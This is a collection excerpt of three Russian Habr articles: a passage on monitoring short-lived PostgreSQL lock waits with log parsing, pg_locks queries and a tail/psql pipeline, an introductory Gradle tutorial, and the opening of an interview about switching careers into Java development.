> Когда включён параметр `log_lock_waits`, данный параметр также определяет, спустя какое время в журнал сервера будут записываться сообщения об ожидании блокировки. Если вы пытаетесь исследовать задержки, вызванные блокировками, имеет смысл уменьшить его по сравнению с обычным значением `deadlock_timeout`.
Все deadlock, не успевшие «развязаться» за это время будут разорваны. А вот «обычные» блокировки — сброшены в лог несколькими записями:
> *2019-03-27 00:06:46.026* MSK [38162:84/166010018] [inside.tensor.ru] [local] csr-inside-bl10:10081: MergeRequest LOG: **process 38162 still waiting for ExclusiveLock on advisory lock [225382138,225386226,141586103,2] after 100.047 ms**
>
>
>
> *2019-03-27 00:06:46.026* MSK [38162:84/166010018] [inside.tensor.ru] [local] csr-inside-bl10:10081: MergeRequest DETAIL: **Process holding the lock: 38154. Wait queue: 38162.**
>
>
>
> *2019-03-27 00:06:46.026* MSK [38162:84/166010018] [inside.tensor.ru] [local] csr-inside-bl10:10081: MergeRequest CONTEXT: SQL statement `"SELECT pg_advisory_xact_lock( '"Документ"'::regclass::oid::integer, 141586103::integer )"
>
> PL/pgSQL function inline_code_block line 2 at PERFORM`
>
>
>
> *2019-03-27 00:06:46.026* MSK [38162:84/166010018] [inside.tensor.ru] [local] csr-inside-bl10:10081: MergeRequest STATEMENT: `DO $$ BEGIN
>
> PERFORM pg_advisory_xact_lock( '"Документ"'::regclass::oid::integer, 141586103::integer );
>
> EXCEPTION
>
> WHEN query_canceled THEN RETURN;
>
> END; $$;`
>
> …
>
>
>
> *2019-03-27 00:06:46.077* MSK [38162:84/166010018] [inside.tensor.ru] [local] csr-inside-bl10:10081: MergeRequest LOG: **process 38162 acquired ExclusiveLock on advisory lock [225382138,225386226,141586103,2] after 150.741 ms**
В этом примере видно, что у нас **было всего 50мс** от момента появления блокировки в логе до момента ее разрешения. Только в этом интервале мы можем получить хоть какую-то информацию о ней, и чем быстрее мы способны это делать — тем больше блокировок сможем проанализировать.
Тут самая важная для нас информация — это **PID процесса**, который ждет блокировку. Именно по нему мы можем сопоставить информацию между логом и состоянием базы. А заодно узнать, насколько проблемной была конкретная блокировка — то есть сколько времени она «висела».
Для этого нам достаточно всего пары RegExp на контент `LOG`-записи:
```
const RE_lock_detect = /^process (\d+) still waiting for (.*) on (.*) after (\d+\.\d{3}) ms(?: at character \d+)?$/; // ловим факт начала блокировки
const RE_lock_acquire = /^process (\d+) acquired (.*) on (.*) after (\d+\.\d{3}) ms(?: at character \d+)?$/; // ловим момент окончания
```
#### Докапываемся до лога
Собственно, осталось немного — взять лог, научиться его мониторить и соответствующим образом реагировать.
У нас-то для этого уже все есть — и онлайн-парсер лога, и заранее активированное соединение с БД, про которые я рассказывал в статье [о нашей системе мониторинга PostgreSQL](https://habr.com/ru/post/487380/):
Но если у вас никакой аналогичной системы не развернуто — не беда, сделаем все «прямо с консоли»!
Если установленная версия PostgreSQL 10 и выше — повезло, поскольку там появилась функция [pg\_current\_logfile()](https://www.postgresql.org/docs/10/functions-info.html), которая в явном виде отдает имя текущего файла лога. Получить его из консоли будет достаточно легко:
```
psql -U postgres postgres -t -A -c "SELECT CASE WHEN substr(current_setting('log_directory'), 1, 1) <> '/' THEN current_setting('data_directory') ELSE '' END || '/' || pg_current_logfile()"
```
Если версия вдруг младше — все получится, но чуть сложнее:
```
ps uw -U postgres \
| grep [l]ogger \
| awk '{print "/proc/"$2"/fd"}' \
| xargs ls -l \
| grep `cd; psql -U postgres postgres -t -A -c "SELECT CASE WHEN substr(current_setting('log_directory'), 1, 1) = '/' THEN current_setting('log_directory') ELSE current_setting('data_directory') || '/' || current_setting('log_directory') END"` \
| awk '{print $NF}'
```
Получим полное имя файла, которое отдадим в `tail -f` и будем ловить там появление `'still waiting for'`.
Ну а как только что-то возникло в этом потоке — вызываем…
Анализирующий запрос
--------------------
Увы, объект блокировки в логе далеко не всегда является именно тем ресурсом, из-за которого возник конфликт. Например, если попытаться параллельно создать одноименный индекс, в логе будет только что-то вроде `still waiting for ExclusiveLock on transaction 12345`.
Поэтому нам придется **снимать состояние всех блокировок с базы** для интересующего нас процесса. Да и информации только о паре процессов (кто наложил блокировку / кто ее ожидает) — недостаточно, ведь нередко случается «цепочка» ожиданий разных ресурсов между транзакциями:
```
tx1 [resA] -> tx2 [resA]
tx2 [resB] -> tx3 [resB]
...
```
Классика: «Дедка за репку, бабка за дедку, внучка за бабку, ...»
Поэтому напишем запрос, который нам точно скажет, кто же стал первопричиной бед по всей цепочке блокировок для конкретного PID:
```
WITH RECURSIVE lm AS (
-- lock modes
SELECT
rn
, CASE
WHEN lm <> 'Share' THEN row_number() OVER(PARTITION BY lm <> 'Share' ORDER BY rn)
END rx
, lm || 'Lock' lm
FROM (
SELECT
row_number() OVER() rn
, lm
FROM
unnest(
ARRAY[
'AccessShare'
, 'RowShare'
, 'RowExclusive'
, 'ShareUpdateExclusive'
, 'Share'
, 'ShareRowExclusive'
, 'Exclusive'
, 'AccessExclusive'
]
) T(lm)
) T
)
-- lock types
, lt AS (
SELECT
row_number() OVER() rn
, lt
FROM
unnest(
ARRAY[
'relation'
, 'extend'
, 'page'
, 'tuple'
, 'transactionid'
, 'virtualxid'
, 'object'
, 'userlock'
, 'advisory'
, ''
]
) T(lt)
)
-- lock modes conflicts
, lmx AS (
SELECT
lr.rn lrn
, lr.rx lrx
, lr.lm lr
, ld.rn ldn
, ld.rx ldx
, ld.lm ld
FROM
lm lr
JOIN
lm ld ON
ld.rx > (SELECT max(rx) FROM lm) - lr.rx OR
(
(lr.rx = ld.rx) IS NULL AND
(lr.rx, ld.rx) IS DISTINCT FROM (NULL, NULL) AND
ld.rn >= (SELECT max(rn) FROM lm) - lr.rn
)
)
-- locked targets/pids
, lcx AS (
SELECT DISTINCT
(lr.locktype, lr.database, lr.relation, lr.page, lr.tuple, lr.virtualxid, lr.transactionid::text::bigint, lr.classid, lr.objid, lr.objsubid) target
, ld.pid ldp
, ld.mode ldm
, lr.pid lrp
, lr.mode lrm
FROM
pg_locks ld
JOIN
pg_locks lr ON
lr.pid <> ld.pid AND
(lr.locktype, lr.database, lr.relation, lr.page, lr.tuple, lr.virtualxid, lr.transactionid::text::bigint, lr.classid, lr.objid, lr.objsubid) IS NOT DISTINCT FROM (ld.locktype, ld.database, ld.relation, ld.page, ld.tuple, ld.virtualxid, ld.transactionid::text::bigint, ld.classid, ld.objid, ld.objsubid) AND
(lr.granted, ld.granted) = (TRUE, FALSE)
JOIN
lmx ON
(lmx.lr, lmx.ld) = (lr.mode, ld.mode)
WHERE
(ld.pid, ld.granted) = ($1::integer, FALSE) -- PID
)
SELECT
lc.locktype "type"
, CASE lc.locktype
WHEN 'relation' THEN ARRAY[relation::text]
WHEN 'extend' THEN ARRAY[relation::text]
WHEN 'page' THEN ARRAY[relation, page]::text[]
WHEN 'tuple' THEN ARRAY[relation, page, tuple]::text[]
WHEN 'transactionid' THEN ARRAY[transactionid::text]
WHEN 'virtualxid' THEN regexp_split_to_array(virtualxid::text, '/')
WHEN 'object' THEN ARRAY[classid, objid, objsubid]::text[]
WHEN 'userlock' THEN ARRAY[classid::text]
WHEN 'advisory' THEN ARRAY[classid, objid, objsubid]::text[]
END target
, lc.pid = lcx.ldp "locked"
, lc.pid
, regexp_replace(lc.mode, 'Lock$', '') "mode"
, lc.granted
, (lc.locktype, lc.database, lc.relation, lc.page, lc.tuple, lc.virtualxid, lc.transactionid::text::bigint, lc.classid, lc.objid, lc.objsubid) IS NOT DISTINCT FROM lcx.target "conflict"
FROM
lcx
JOIN
pg_locks lc ON
lc.pid IN (lcx.ldp, lcx.lrp);
```
Проблема #1 — медленный старт
-----------------------------
Как видно в примере из лога, следом за строкой, сигнализирующей о возникновении блокировки (`LOG`), идет еще 3 строки (`DETAIL, CONTEXT, STATEMENT`), сообщающих расширенную информацию.
Сначала мы дожидались формирования полного «пакета» из всех 4 записей и только после этого обращались к базе. Но завершить формирование пакета мы можем только при приходе следующей (уже 5й!) записи, с реквизитами другого процесса, или по таймауту. Понятно, что и тот и другой варианты провоцируют лишнее ожидание.
Чтобы избавиться от этих задержек, мы перешли на **потоковую обработку записей** о блокировках. То есть теперь мы **обращаемся к целевой базе сразу**, как только разобрали первую же запись, и поняли, что там описана именно блокировка.
Проблема #2 — медленный запрос
------------------------------
Но все равно часть блокировок не успевала проанализироваться. Стали копать глубже — и выяснили, что на некоторых серверах наш анализирующий запрос выполняется **по 15-20мс**!
Причина оказалась банальной — общее количество активных блокировок на базе, доходящее до нескольких тысяч:
#### pg\_locks
Тут надо заметить, что блокировки в PostgreSQL нигде не «хранятся», а представлены только в [системном view pg\_locks](https://postgrespro.ru/docs/postgresql/12/view-pg-locks), которое является прямым отражением функции `pg_lock_status`. А мы в своем запросе **читаем из нее трижды**! А пока мы читаем эти тысячи экземпляров блокировок, и отбрасываем те, которые не имеют отношения к нашему PID, сама блокировка успевала «рассосаться»…
Решением стала **«материализация» состояния pg\_locks в CTE** — после этого по ней можно бегать сколько угодно раз, она уже не меняется. Причем, посидев над алгоритмом, удалось все свести всего к двум ее сканированиям.
#### Избыточная «динамика»
А если еще чуть внимательнее посмотреть на запрос выше, то можно заметить, что CTE `lm` и `lmx` вообще никак не завязаны на данные, а просто вычисляют всегда одну и ту же «статичную» матрицу определения [конфликтов между режимами блокировок](https://postgrespro.ru/docs/postgresql/12/explicit-locking#LOCKING-TABLES). Так давайте просто и зададим ее в качестве `VALUES`.
Проблема #3 — соседи
--------------------
Но часть блокировок все равно пропускались. Обычно это получалось по следующей схеме — кто-то заблокировал популярный ресурс, а в него или по цепочке дальше быстро-быстро уперлось **сразу несколько процессов**.
В результате, мы ловили первый PID, шли на целевую базу (а чтобы не перегружать ее, мы держим только одно соединение), делали анализ, возвращались с результатом, брали следующий PID… А на базе-то жизнь не стоит, и блокировка по PID#2 уже пропала!
Собственно, а зачем нам ходить на базу по каждому PID отдельно, если мы все равно в запросе отфильтровываем блокировки из общего списка? Давайте возьмем **сразу весь список конфликтующих процессов прямо с БД** и их блокировки распределим по всем попавшимся за время выполнения запроса в лог PID'ам:
```
WITH lm(ld, lr) AS (
VALUES
('AccessShareLock', '{AccessExclusiveLock}'::text[])
, ('RowShareLock', '{ExclusiveLock,AccessExclusiveLock}'::text[])
, ('RowExclusiveLock', '{ShareLock,ShareRowExclusiveLock,ExclusiveLock,AccessExclusiveLock}'::text[])
, ('ShareUpdateExclusiveLock', '{ShareUpdateExclusiveLock,ShareLock,ShareRowExclusiveLock,ExclusiveLock,AccessExclusiveLock}'::text[])
, ('ShareLock', '{RowExclusiveLock,ShareUpdateExclusiveLock,ShareRowExclusiveLock,ExclusiveLock,AccessExclusiveLock}'::text[])
, ('ShareRowExclusiveLock', '{RowExclusiveLock,ShareUpdateExclusiveLock,ShareLock,ShareRowExclusiveLock,ExclusiveLock,AccessExclusiveLock}'::text[])
, ('ExclusiveLock', '{RowShareLock,RowExclusiveLock,ShareUpdateExclusiveLock,ShareLock,ShareRowExclusiveLock,ExclusiveLock,AccessExclusiveLock}'::text[])
, ('AccessExclusiveLock', '{AccessShareLock,RowShareLock,RowExclusiveLock,ShareUpdateExclusiveLock,ShareLock,ShareRowExclusiveLock,ExclusiveLock,AccessExclusiveLock}'::text[])
)
, locks AS (
SELECT
(
locktype
, database
, relation
, page
, tuple
, virtualxid
, transactionid::text::bigint
, classid
, objid
, objsubid
) target
, *
FROM
pg_locks
)
, ld AS (
SELECT
*
FROM
locks
WHERE
NOT granted
)
, lr AS (
SELECT
*
FROM
locks
WHERE
target::text = ANY(ARRAY(
SELECT DISTINCT
target::text
FROM
ld
)) AND
granted
)
, lcx AS (
SELECT DISTINCT
lr.target
, ld.pid ldp
, ld.mode ldm
, lr.pid lrp
, lr.mode lrm
FROM
ld
JOIN
lr
ON lr.pid <> ld.pid AND
lr.target IS NOT DISTINCT FROM ld.target
)
SELECT
lc.locktype "type"
, CASE lc.locktype
WHEN 'relation' THEN
ARRAY[relation::text]
WHEN 'extend' THEN
ARRAY[relation::text]
WHEN 'page' THEN
ARRAY[relation, page]::text[]
WHEN 'tuple' THEN
ARRAY[relation, page, tuple]::text[]
WHEN 'transactionid' THEN
ARRAY[transactionid::text]
WHEN 'virtualxid' THEN
regexp_split_to_array(virtualxid::text, '/')
WHEN 'object' THEN
ARRAY[classid, objid, objsubid]::text[]
WHEN 'userlock' THEN
ARRAY[classid::text]
WHEN 'advisory' THEN
ARRAY[classid, objid, objsubid]::text[]
END target
, lc.pid = lcx.ldp as locked
, lc.pid
, regexp_replace(lc.mode, 'Lock$', '') "mode"
, lc.granted
, lc.target IS NOT DISTINCT FROM lcx.target as conflict
FROM
lcx
JOIN
locks lc
ON lc.pid IN (lcx.ldp, lcx.lrp);
```
Теперь мы успеваем проанализировать даже блокировки, существующие **всего 1-2 мс** после попадания в лог.
Analyze This
------------
Собственно, а ради чего мы так долго старались? Что нам это в результате дает-то?..
```
type | target | locked | pid | mode | granted | conflict
---------------------------------------------------------------------------------------
relation | {225388639} | f | 216547 | AccessShare | t | f
relation | {423576026} | f | 216547 | AccessShare | t | f
advisory | {225386226,194303167,2} | t | 24964 | Exclusive | f | t
relation | {341894815} | t | 24964 | AccessShare | t | f
relation | {416441672} | f | 216547 | AccessShare | t | f
relation | {225964322} | f | 216547 | AccessShare | t | f
...
```
В этой табличке нам пригодятся значения `target` с типом `relation`, ведь каждое такое значение — **OID таблицы или индекса**. Теперь остается совсем немного — научиться опрашивать базу на предмет еще неизвестных нам OID, чтобы перевести их в человекопонятный вид:
```
SELECT $1::oid::regclass;
```
Теперь, зная полную «матрицу» блокировок и все объекты, на которые они были наложены каждой из транзакций, мы можем **сделать вывод «что вообще происходило»**, и какой ресурс вызвал конфликт, даже если заблокировавший запрос нам остался неизвестен. Это легко может произойти, например, когда время выполнения блокирующего запроса недостаточно велико для попадания в лог, но транзакция после его завершения была активна и создавала проблемы еще долго.
Но про это — уже в другой статье.
«Все само»
----------
А пока соберем полный вариант «мониторилки», который будет автоматически снимать для нашего архива состояние блокировок, как только в логе появляется что-то подозрительное:
```
ps uw -U postgres \
| grep [l]ogger \
| awk '{print "/proc/"$2"/fd"}' \
| xargs ls -l \
| grep `cd; psql -U postgres postgres -t -A -c "SELECT CASE WHEN substr(current_setting('log_directory'), 1, 1) = '/' THEN current_setting('log_directory') ELSE current_setting('data_directory') || '/' || current_setting('log_directory') END"` \
| awk '{print $NF}' \
| xargs -l -I{} tail -f {} \
| stdbuf -o0 grep 'still waiting for' \
| xargs -l -I{} date '+%Y%m%d-%H%M%S.%N' \
| xargs -l -I{} psql -U postgres postgres -f detect-lock.sql -o {}-lock.log
```
А рядышком в `detect-lock.sql` кладем последний запрос. Запускаем — и получаем пачку файлов с искомым содержимым внутри:
```
# cat 20200526-181433.331839375-lock.log
type | target | locked | pid | mode | granted | conflict
---------------+----------------+--------+--------+--------------+---------+----------
relation | {279588430} | t | 136325 | RowExclusive | t | f
relation | {279588422} | t | 136325 | RowExclusive | t | f
relation | {17157} | t | 136325 | RowExclusive | t | f
virtualxid | {110,12171420} | t | 136325 | Exclusive | t | f
relation | {279588430} | f | 39339 | RowExclusive | t | f
relation | {279588422} | f | 39339 | RowExclusive | t | f
relation | {17157} | f | 39339 | RowExclusive | t | f
virtualxid | {360,11744113} | f | 39339 | Exclusive | t | f
virtualxid | {638,4806358} | t | 80553 | Exclusive | t | f
advisory | {1,1,2} | t | 80553 | Exclusive | f | t
advisory | {1,1,2} | f | 80258 | Exclusive | t | t
transactionid | {3852607686} | t | 136325 | Exclusive | t | f
extend | {279588422} | t | 136325 | Exclusive | f | t
extend | {279588422} | f | 39339 | Exclusive | t | t
transactionid | {3852607712} | f | 39339 | Exclusive | t | f
(15 rows)
```
Ну а дальше — [садимся и анализируем](https://habr.com/ru/post/506360/)… | https://habr.com/ru/post/503680/ | null | ru | null |
# Крибле Крабле Gradle: магия автоматической сборки
Разработчики облегчают жизнь людям, а Gradle — разработчикам. Если вы пишете на Android, эта статья для вас. Читайте о том, что за зверь этот Gradle (спойлер: он слон), а также — как с ним работать.
Gradle — система автоматической сборки, которую используют для упрощения работы с Java. С помощью (условно) стандартизированных средств она помогает разработчикам собрать нужный продукт без потери его уникальности. Ведь процесс работы с Gradle — не просто выбор шаблона. Но обо всём по порядку.
Где скачать Gradle
------------------
Скачать Gradle можно на [официальном сайте](https://gradle.org/). Рекомендуем качать и устанавливать всё вручную (чтобы жизнь малиной не казалась). Инструкция, а также все необходимые ссылки даны в разделе Installing Gradle > [Installing Manually](https://docs.gradle.org/current/userguide/installation.html#installing_manually). Кстати, рекомендуем прочитать всё. Вообще всё. Серьёзно.
На [этой странице](https://gradle.org/releases/) нужно выбрать версию системы и кликнуть по "binary-only". Затем — распаковать zip-архив и настроить переменную среды окружения PATH так, как сказано в инструкции. Если всё сделано правильно, после установки команда gradle -v должна отображать версию выбранной системы.
Иногда выходит так, что во время определения система находит Gradle в неожиданном месте. На Windows это решается следующим образом:
for %i in (gradle.bat) do [echo](https://habr.com/ru/users/echo/). %~$PATH:i
Как работать с Gradle
---------------------
Gradle не привязан к конкретной платформе. К тому же, в системе используют разные языки программирования. Наиболее популярные — Groovy DSL и Kotlin (но можно писать и на других). В статье будет использован первый вариант, так как это стандартный язык описания задач в Gradle.
Прежде чем начинать работу, обратите внимание на термины: «задача» и «плагин», ещё раз. Ведь именно на них строится вся работа с системой. Плагины предоставляют и создают задачи. Задачи — те действия, которые надо сделать. Всё очень просто.
Подробнее об этом вы можете прочитать в инструкции к плагинам: [JavaCompile](https://docs.gradle.org/current/dsl/org.gradle.api.tasks.compile.JavaCompile.html) (добавить новые задачи), [SourceSet](https://docs.gradle.org/current/javadoc/org/gradle/api/tasks/SourceSet.html) (добавить новые объекты домена). Также плагины работают с соглашениями и расширяют объекты. Например, с помощью плагина можно добавить новые элементы DSL и (или) настроить их.
Набор "Core Plugins" автоматически создаётся при установке Gradle. На первых этапах рекомендуют использовать категорию "Utility", а именно — плагин "Build Init Plugin". Он предоставляет задачи для инициализации проекта в системе. Выбрать тип проекта можно из [списка](https://docs.gradle.org/current/userguide/build_init_plugin.html) на сайте.
Пусть это будет [java-application](https://docs.gradle.org/current/userguide/build_init_plugin.html#sec:java_application).
Задача: gradle init --type java-application
После этого в папке появятся новые файлы. В их числе:
* папка gradle (внимание, не .gradle) и файл gradlew.bat — это [враппер](https://docs.gradle.org/current/userguide/gradle_wrapper.html), обёртка;
* файл build.gradle — [скрипт](https://docs.gradle.org/current/userguide/tutorial_using_tasks.html), где указаны библиотеки, фреймворки, плагины и задачи конкретного проекта.
В последнем файле будет отображена секция плагина. Этот плагин уже имеет прикреплённые к нему задачи. Их список можно посмотреть с помощью команды gradle tasks.
Задачи
------
Показаны блоками, по своим функциям. К каждой даётся краткое описание. Для понимания требуется знание английского на базовом уровне. Если вы не входите в эту группу — подойдёт любой переводчик. Сложных языковых конструкций в build.gradle нет.
После выбора задачи и её успешного завершения вы увидите внизу зелёную надпись "BUILD SUCCESSFUL". Это значит, что (вам повезло) всё прошло без проблем. Также внизу система выдаст краткий отчёт.
Если статус "executed" — задача действительно выполнена. Если "up-to-date" — нет. Это не значит, что произошёл какой-то сбой. В случае такого статуса задача не требует решения в принципе, т. е. её объект уже в актуальном состоянии.
Это произошло потому, что в Gradle автоматически формируется "[Up-to-date checks](https://docs.gradle.org/current/userguide/more_about_tasks.html#sec:up_to_date_checks)" — инкрементальный билд, цель которого — оптимизация работы системы. Поэтому задачи, которые уже завершены или не требуют действий, не прорабатываются.
Отключить этот build можно. Вручную. Для этого необходимо выполнить задачу с указанием флага --rerun-tasks. Если всё сделано правильно, статус у всех задач изменится на "executed".
Также Gradle позволяет просматривать логи разного уровня. Например, команда gradle run -i позволит читать информационные сообщения о работе системы, команда run -q — включить режим тишины, run -d — показывать все сообщения журнала и т. д. Полный список логов и дополнительная информация о системе логирования [тут](https://docs.gradle.org/current/userguide/logging.html).
Зависимости
-----------
Управление зависимостями — указание библиотек или фреймворков, которые нужны проекту. Gradle должна включить эти зависимости в определённый момент, чтобы в конце собрать приложение корректно (или вообще). Команда gradle init для java-application в build-скрипте автоматически вызывает информацию о 2 конфигурациях.
Implementation отвечает за транзитивность: её зависимости будут невидимыми для пользователей. TestImplementation расширяет предыдущую конфигурацию. Таким образом, они работают в связке.
Чтобы лучше понять зависимости и принцип работы с ними, прочтите главу "[Managing Dependency Configurations](https://docs.gradle.org/current/userguide/dependency_management_for_java_projects.html#sec:configurations_java_tutorial)" в официальной инструкции. Кстати, в "[API and implementation separation](https://docs.gradle.org/current/userguide/java_library_plugin.html#sec:java_library_separation)" подробно объясняется про API и implementation, а также разницу между ними.
Если необходимо включить зависимость в итоговый артефакт, требуется указать всю необходимую для манифеста jar-файла информацию в настройках задачи jar. Как это сделать правильно, можете посмотреть, например, [здесь](https://docs.oracle.com/javase/tutorial/deployment/jar/appman.html).
Далее нужно включить в jar зависимости. Это необходимо для компиляции.
Слишком сложно? Используйте "[Gradle Shadow Plugin](https://imperceptiblethoughts.com/shadow/getting-started/#default-java-groovy-tasks)".
Команда gradle --console plain dependencies вызывает список всех конфигураций и привязанных к ним зависимостей в виде перечня. Также система предлагает разработчикам фильтр, который исключает из перечня зависимости (gradle --console plain dependencies | find " — ") — некоторым так удобнее.
Наиболее частые виды зависимостей:
* внешние — загружаются из внешних хранилищ;
* проектные — зависят от модуля в конкретном проекте;
* файловые — подключаются как jar- или aar-архивы.
Что из этого списка использовать, решает разработчик.
Для Java всё хорошо расписано в "[Dependency management](https://docs.gradle.org/current/userguide/java_plugin.html#sec:java_plugin_and_dependency_management)".
Лайфхаки
--------
Несмотря на то, что Gradle — популярная и актуальная система автоматической сборки, проблемы в работе с ней возникают у многих. Вот несколько рекомендаций, которые могут значительно облегчить жизнь android-разработчику:
1. Используйте консоль. Найти команды иногда бывает проблематично, а при изменении build.gradle система может заглючить или, вообще, перезагрузить проект. Поэтому специалисты рекомендуют вызывать Gradle прямо из консоли.
Враппер обычно идёт вместе с проектом. На Linux и macOS можно обращаться напрямую. На Windows — вызывать вместо враппера bat-файл.
2. Gradle хранит кэш 1 сутки. Это можно перенастроить. Необходимо отредактировать код:
```
// build.gradle
configurations.all {
resolutionStrategy.cacheChangingModulesFor КОЛ-ВО ЧАСОВ ЦИФРОЙ, 'hours'
resolutionStrategy.cacheDynamicVersionsFor КОЛ-ВО МИНУТ ЦИФРОЙ, 'minutes'
}
```
3. – –refresh-dependencies — полезная команда, которая запустит обновление всех зависимостей в Gradle. Может пригодиться, если какие-то данные в кэше повредились, так как верифицирует. Удобно использовать при повреждении данных кэша, так как происходит их верификация и обновление (если отличаются).
4. Используйте CI (непрерывную интеграцию) в работе с системой автоматической сборки. Пусть модульные тесты выполняются для всех коммитов. Также специалисты рекомендуют подключать и unit-тесты. Это можно сделать в Android Studio.
Такая комбинация позволит обнаружить ошибки раньше. И хотя она замедлит процесс запуска, разработчик сможет отдохнуть в дальнейшем. Так что лайфхак на перспективу.
5. Try again. Страшно? (Нам тоже) На самом деле синхронизацию не всегда нужно сразу запускать заново. Сначала специалисты рекомендуют проверить систему в целом. Например, с помощью любой простой команды — это поможет понять, каковы шансы на успех следующей синхронизации.
6. Настройте с Gradle среду разработки IntelliJ IDEA. Это позволит оптимизировать процесс работы, а также воспользоваться волшебным списком.
7. Совет для тех, кто работает с Gradle из командной строки Android Studio. Проверьтесь на ошибку "Starting a Gradle Daemon, 1 incompatible could not be reused" (#68374709). Это бич системы, который разработчики пока не исправили.
Одна из основных проблем Gradle — "Gradle build failed". Обойдёмся без лишних слов, если вам это уже знакомо. Если же нет — удачи.
Впрочем, главная проблема Gradle другая. Время, которое требуется системе на сборку, уже давно стало (очень печальной) легендой в кругах специалистов. Ускорить работу нельзя, по крайней мере — значительно.
Так что придётся ждать в любом случае.
Можете, например, слетать куда-нибудь в космос, как в «Интерстеллар».
Вывод
-----
Gradle — это хорошее решение, несмотря на все минусы. Автоматическая сборка позволит вам сэкономить силы и время (как иронично это бы ни звучало после предыдущего абзаца). А также — сделать своё приложение чище. Система заметит любую ошибку и не позволит закончить работу, пока та не будет исправлена (любой ценой).
 | https://habr.com/ru/post/473642/ | null | ru | null |
# Войти в IT после 30 через Java
Всем ку!
Эта статья является текстовой адаптацией одного из самых популярных интервью на youtube-канале ["АйТиБорода"](https://youtube.com/itbeard) - интервью про Java (более полумиллиона просмотров). Если кто-то не знает, на этом канале несколько раз в месяц появляются интервью с айтишниками о технологиях, ЯП и персоналиях.
Приятного прочтения!
**— Привет, Рома! Расскажи, где ты учился и как вообще попал в IT?**
— У меня на самом деле два образования: одно незаконченное высшее, второе — законченное. Законченное высшее — техническое, но абсолютно никак не было связано с компьютером.
Я инженер по бытовой технике, инженер-электромеханик. Специализация «бытовая техника», факультет приборостроительный. Приборы там и аппараты, что-то в этом духе было. Незаконченное — это вообще юридическое, то есть ещё дальше от IT. На базе первого (высшего) тогда ещё можно было несколько получать. Но я его не закончил: дошёл до последней сессии и решил не сдавать. Потом был почти девятилетний путь в сферах, очень далёких от IT. В закупках работал и аналитике рынков, рекламное агентство открывал — довольно разнообразные сферы.
**— А в каком году ты в университет поступал?**
— В 2002 году поступал. В 2007-м окончил и вот после этого где-то восемь с половиной лет в разных сферах себя пробовал. А в программирование пришёл на самом деле абсолютно случайно. Конкретный день уже не могу вспомнить — всё-таки это не вчера было, где-то посреди недели. Мне на работу надо было ехать по кольцевой минуты три, наверное. Проснулся пораньше, и как-то очень не хотелось ехать. Я тогда курил ещё. Вышел на балкон, закурил, взял ноутбук, открыл его и решил: надо чем-то себя занять. Потому что на тот момент у меня была только работа, дом, работа, дом.
Ну и решил: дай попробую себя. Может быть, какие курсы. Ну, хобби себе какое-нибудь найду. Открыл ноут, и мне в принципе было просто всё равно: парапланирование, вязание крестиком, вышивание — без разницы что. Но так уж получилось, что тогда шла довольно активная агитация IT-Академии (одна из школ в Беларуси). Вот везде эта всплывающая контекстная реклама была. И как раз всплыло в тот день что-то типа: «Хочешь зарабатывать миллион миллиардов? Приходи к нам, мы тебя научим!» Я решил: почему бы не совместить приятное с полезным? «Миллион миллиардов» всё-таки заманчиво звучало. Вот так я и попал в IT.
> Я решил: почему бы не совместить приятное с полезным? «Миллион миллиардов» всё-таки заманчиво звучало. Вот так я и попал в IT.
>
>
Просто пришёл на курсы. Как-то отучился. Причём первый курс в академии действительно именно «как-то отучился». Еле-еле окончил. Из нашей группы сертификаты получили человека, по-моему, четыре из 12.
**— А откуда желание что-то поменять вообще появилось?**
— Как-то так сложилось, что раз, наверное, в года два-три я менял место работы. В одной компании поработал по распределению два года, потом три-четыре месяца ещё поискал новое место. В разных местах: и в «Газпром» попал наш белорусский, и в «Амбассадор» поработал — это минский завод виноградных вин. И на EnTiti поработал.
**— Короче, это была запланированная смена работы?**
— Да, через определённый промежуток времени мне нужно было что-то менять. Сейчас в IT, слава богу, можно менять проекты, не уходя из одной компании в другую. А тогда это было достаточно проблематично, потому что в организации есть одна должность, и если бы я сказал: «Не хочу больше быть логистом, сегодня хочу работать бухгалтером», — меня бы просто не поняли. Всё равно бы пришлось искать новое место. Поэтому такое желание возникало само собой периодически.
**— Нашёл курс и сразу пошёл на Java? Это осмысленный выбор?**
— Это было похоже на то, как я в принципе решил попасть в IT. Шёл набор на курсы с таким достаточно абстрактным объявлением: «Хочешь стать программистом?» Зашёл к ним на сайт, и на той неделе стартовало много курсов: JavaScript, Python, PHP.
Тогда я думал, что PHP — это круто. Я с ним ещё когда-то там в школе и на первом курсе более-менее работал: какие-то сайтики делали. Подумал: ну вот тут я, наверное, что-то буду понимать. Потом смотрю — JavaScript. Думаю, ну про JavaScript я слышал: там HTML, CSS, JavaScript — ну вот слова из одной области какие-то, думал. Но эти курсы шли 11-13 дней от того дня, когда прочёл само объявление. А Java стартовал через три дня. Решил: ну попробую, может быть, есть место в группе. Позвонил, и, действительно, место в группе было. Причём одно. Вот так. Поэтому Java (смеётся).
**— Страха от такой кардинальной смены рабочей атмосферы не было? Многие боятся идти в программирование: думают, что там много математики нужно, что это сложно. Было у тебя такое?**
— Не, наверное, не было. Я ж говорю: пошёл на курсы, а они же начальные. Я понимал, что математика мне особенно не понадобится. Мне было интересно узнать в принципе, что такое переменная и как это, когда нажимаешь кнопочку, а там — «Hello, world!» выскакивает. Не просто, как когда в блокноте что-то написал. Когда в первый раз написал свою первую программу «Hello, world!», понял: ну, всё просто, теперь я умею программировать.
> Когда в первый раз написал свою первую программу «Hello, world!», понял: ну, всё просто, теперь я умею программировать.
>
>
**— Думал тогда, что пойдёшь работать программистом? Или просто по приколу пошёл на эти курсы?**
— Изначально шёл туда, чтобы занять себя. Но план, конечно, был. Первое-второе занятие думал: о, прикольно, что-то пишу, что-то где-то работает. Но тогда же ещё не было понятно, что именно работает: что-то написал и что-то происходит, а ты этого не видишь. То есть руками нельзя потрогать, чего нельзя сказать, например, о вёрстке или дизайне. Там ты рисуешь — и сразу всё видно.
Наверное, с занятия пятого, когда я уже первый свой цикл написал, — калькулятор был, он алгоритм какой-то простенький считал, — просто запустил эту программу, шифтов 10-12. Мне не надо было мышкой нажимать на этот значок «play» зелёный в IDEA. И оно что-то мне посчитало и выдало на экран. Числа там рандомно генерились, и я заранее не знал, какой ответ будет. И тогда я решил: ну, а почему бы и нет? То есть я могу рандомно генерировать что-то. Если я здесь испортил программу, я могу портить программу и в коммерческих целях. Как-то так и повелось (смеётся).
> Если я здесь испортил программу, я могу портить программу и в коммерческих целях. Как-то так и повелось.
>
>
**— Сколько времени прошло со старта курсов до трудоустройства?**
— С момента старта курсов и до осмысленного «куда я хочу попасть на работу» прошёл где-то год. Большую часть этого времени параллельно работал на основной работе. За два-три месяца (до окончания курсов) я уже уволился.
